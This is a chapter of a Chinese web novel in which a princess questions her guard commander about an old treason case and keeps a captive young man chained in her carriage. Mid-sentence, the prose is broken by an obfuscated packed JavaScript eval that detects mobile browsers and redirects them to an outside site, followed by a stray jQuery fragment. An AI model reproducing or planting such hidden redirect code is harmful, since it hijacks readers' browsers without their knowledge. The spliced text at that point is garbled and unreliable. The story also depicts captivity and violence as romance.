默认冷灰
24号文字
方正启体

11.相见

作者:姜不是生的本书字数:K更新时间:
    为昭华公主此次出宫,皇帝从禁中调了三百位兵卫,以护其往来。


    此外,公主随行宫女、太监又有数百人。


    长安城外,百里见一村,村过难寻人。


    五百之众的队伍,缓慢在官道上行走,一路未停,可上至领队的中郎将张浮,下至名声不显的小卒,都不知要同公主去何处寻医问药。


    秋老虎最毒,这一路上又鲜少停歇。


    不一会,行伍之中便传来了细碎的抱怨之声。


    中郎将张浮听着,捏紧了马缰,高声喝停了队伍,吩咐各处原地整歇,又翻身下马,快步走到路中一辆九凤戏云凤车前。


    “臣中郎将张浮,求见殿下。”


    久久无人应答。


    很正常的。


    殿下是个尊贵的玉人,受不得车马劳顿,她或许身有不适,或许只是懒得见他……


    张浮以为自己会很冷静。


    但实际上,他听见了自己的心跳声,一声一声,清晰如鼓。


    自北疆谋逆案后,他便再无理由去拜见公主,上一次相遇,还是宫宴上。


    远远见姜姮被淑女们如众星拱月般簇在殿中,她笑靥如花,如此美好,他喝了数盏酒,却仍未鼓起勇气,上前道一句谢。


    他该亲自谢她的。


    是她,听他诉说冤情。


    是她,为他四处奔波。


    若无她,张氏一族千人的冤,都只能埋在北疆茫茫大雪之下。


    若无她,他张浮也该成一累白骨,死在长安城一隅背光角落。


    今日,他未喝酒。


    疑似过了许久。


    有一道如细雪初融的声音从车内,“是何人求见?”


    张浮紧握剑柄的手出了薄薄一层汗,他深深垂下头,直直磕在黄泥路上。


    “交山张氏长子,张浮求见昭华公主。”


    “这句话,本宫听得耳熟……原来是故人拜访。”


    张浮猛然抬头,怔怔地望着前方,闯入视线的,先是那纤纤玉手上的几点红,再是那张浅笑晏晏如春花明媚的面庞。


    一如当初。


    他察觉失惊,火速垂下头,又听闻一声清脆的笑。


    帘子又被放下,再次掀起时,姜姮递出来一方龙凤戏珠纹铜镜。


    张浮不解地接过,一照,发现额上的黄泥印子,不由得面红耳赤,忙抬手去擦拭,后知后觉今日所穿是坚硬软甲,不是柔软锦衣,只好作罢。


    姜姮不在意他的失态,问:“你来寻本宫,是为何事?”


    张浮勉强找回了理智,可话还是说得磕磕绊绊,几加赘述,才解释清楚了来龙去脉。


    “是该歇歇,这路还远着呢。”姜姮点点头,又道,“既然如此,本宫也下来散散心。”


    话音刚落,张浮下意识就上前,想要扶她下车。


    有几位宫人一直在旁,等待召唤,听闻此语,立刻上前跪下,以背为阶,伺候姜姮稳稳当当下了马车。


    张浮退一步,面更红了。


    姜姮看了一眼,率先迈出步子:“张郎君,近日如何?”


    “陛下怜惜某,赐官为中郎将。”张浮主动落后半步,亦步亦趋地跟在她身后。


    姜姮随口答:“本宫知晓。”


    中郎将是皇帝近臣,虽职位不高,但简在帝心。


    此次公主出巡,皇帝便指了他护卫左右。


    “张郎君年少有为,父皇爱才,两相结合,自是一段君臣佳话。”姜姮似笑非笑。


    “若无殿下,某何来今日?”张浮句句是肺腑之言。


    姜姮道:“本宫不过是领你入宫,能说动父皇重查旧案,是你自己的本事。”


    秋高气爽,大雁南飞。


    风过稻田,黄浪阵阵。


    姜姮停住步子,缓缓转身朝他,一袭红衣如火如霞。


    张浮不敢再看。


    “你同我说说,你家中的往事吧?”


    家中往事?


    张浮一怔,以为是姜姮嫌路途遥远,赶程无趣,才问了这句话。


    否则,她一个养在深宫的贵人,何必打听千里之外的北疆呢?


    张浮细思后,说了几句幼时的趣事,有与兄长围炉煮茶的,也有同幼妹踏雪寻梅的。


    姜姮时不时应答几声,但张浮看得出,她并不满意。


    也是,北疆有的,这长安城也有,甚至更佳。


    就算翻遍北疆三郡和都城长安都寻不到的物件,长生殿也不会缺。


    张浮实在想不出,还能说些什么,来讨眼前人的趣。


    他有些沮丧。


    姜姮瞥了一眼,若无其事地道,“如今,长安城中,可还有人敢轻视你?”


    “无人。”张浮答。


    不止无人轻视。


    见他如今官途坦荡,更有不少勋贵私下打探他的婚事,有意招他为婿。


    仿佛在当初他身负家仇血恨,苦苦哀求时,那些闭门不出又冷眼旁观的人,与他们毫无干系。


    姜姮又问:“可曾回北疆看过?”


    张浮长久愣住,身为世家长公子,他并不是一个迟钝的人。


    他听出了姜姮的言外之意。


    她想问,北疆谋逆案。


    而张浮家事,是此案引火线。


    见他久久不回答,姜姮也不急。


    河边有蒹葭葳蕤,远处稻浪阵阵,她看得认真。


    “殿下为何想问此事?”张浮还是谨慎。


    姜姮并未笑,就用干净澄澈的眸子认真地望着他:“若今日问这话的是太子,或其他皇子,你会有此一问吗?”


    他沉思沉默。


    姜姮了然,“你认为,女子不该关心朝政?”


    “自然不是。”张浮下意识为自己争辩。


    姜姮笑得眉眼弯弯,“既是如此,张郎君为何不肯告知我。”


    她在诡辩。


    事实上,换做其他皇子来打探北疆谋逆案,张浮也不敢多言。


    但她说得太理直气壮了,就这样把人忽悠了进去。


    等到张浮反应过来时,该说的,不该说的,他都说了。


    “殿下,臣之所言,并不是抱怨……”张浮急忙找补。


    “本宫知晓。”姜姮笑着点头,“只当做,你我之间的私语。”


    她俏皮一笑,像是累了,施施然离去要车上。


    张浮见她动作,欲言又止,伴她回去。


    上车前,姜姮忽而想起了什么,帘子还停在手间,侧身叮嘱:“张郎君,此次前去,是往四姆山紫阳宫。紫阳真人喜静,普通兵卒不得上山,到时还需你来打点。”


    这次,过了半晌,张浮才出声应答。


    姜姮收回眼,自行又回了车上,紫竹帘子被放下,将里头又遮得严严实实。


    张浮在凤车外站立,望着这一席竹帘,久久出神。


    日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14257985|150407||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    落西山,他的影子打在黄泥地上,又长又细,颇为寂寥。


    “则潜,今日得偿所愿了。”


    一小兵上前打趣。


    他走近后,才见这向来温和腼腆的中郎将双唇紧抿,眼露惊慌,连放在佩剑上的手也在不自觉战栗。


    他被此景吓到,急声询问,“发生了何事?”


    “公主的随行宫人呢?”张浮出声询问。


    那小兵答:“都在不远处歇息呢,


    张浮:“怎不入车伺候?”


    小兵莫名:“殿下嫌车内拥挤,便不让他们贴身伺候了。”


    追问,“怎么了?瞧你脸色不对,亲眼再见昭华公主一次,可是你日思夜想的事。”


    “无妨。”张浮摇头。


    他不欲多言,转身离去,眸子沉沉。


    昭华公主在车中藏了个人。


    虽只于帘下匆匆瞥见一眼,但张浮肯定,那腰身,那背脊……是属于男人的。


    他脚步沉重。


    姜姮在下边转了一圈,吹了风,再回那逼仄狭小的马车上时,心情舒畅了许多。


    她对着铜镜,细细顺着发,还悠悠地哼着小曲。


    等梳顺了乌发后,她又对镜点胭脂,只车窗紧闭,帘子也放着,车内昏暗无光,实在瞧不出颜色。


    她侧过头,去看辛之聿。


    “阿辛。”


    此次出宫短则半月,她自然舍不得他的,便又锁住了他的左手,藏在了马车里。


    此时,少年只着了外衣,衣领处半敞开着,隐约露出一漂亮又白皙的胸膛。


    他闻声,只抬起眼。


    倒也是做出些许反应了。


    姜姮冲他笑了笑。


    “张浮同我说了许多,你屠了张家,又斩了流寇……这些事,他都和我说了。”


    她边说着,边往前挪了些许距离,挑起他领口的衣料细细看着。


    这料子是她亲自选的,黑底金线。


    当时吩咐的时候,她并未细想,只是想着或许会合适。如今细致瞧了,才发现是如此张扬……甚至张狂的料子。


    她眸子上下一扫,很是满意。


    漂亮的人,穿什么样的衣服料子,都是漂亮的。


    姜姮絮絮地说道:“他还说,你带辛家军闯入张邸时,是在一个雪日。你拔出来剑,抹了他父亲的脖。血溅三尺高,滴在雪堆上,而他就藏在雪堆里……”


    “好一个杀人不眨眼的小霸王。”


    “殿下宅心仁厚,这是要为死者讨回公道吗?”辛之聿随意扯了个笑,眸子是凉的。


    姜姮笑了笑。


    那夜,她和辛之聿说得很明白。


    又是那些车轱辘话,一个公道万条命,但那日有些不同。


    孙玮出现了。


    正如张浮恨他。


    辛之聿也恨着孙玮。


    可一人是锁在长生殿内的罪奴,一人是出入高堂的郎中令。


    怎么比呢?


    聪明的鱼儿想要咬着饵,自然得往钩子游。


    这几日以来,辛之聿虽还是个乖戾逼人模样,却也渐渐学会同她虚以委蛇。


    挺好的。


    如果他能笑得更真实恳切些,更温顺美好些,就更好了。


    她的指抚上了辛之聿的脸庞,从眉梢到眼角,再是唇瓣。


    “不,本宫只想问。张家人的血,是什么颜色的?同我身上衣,孰佳?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)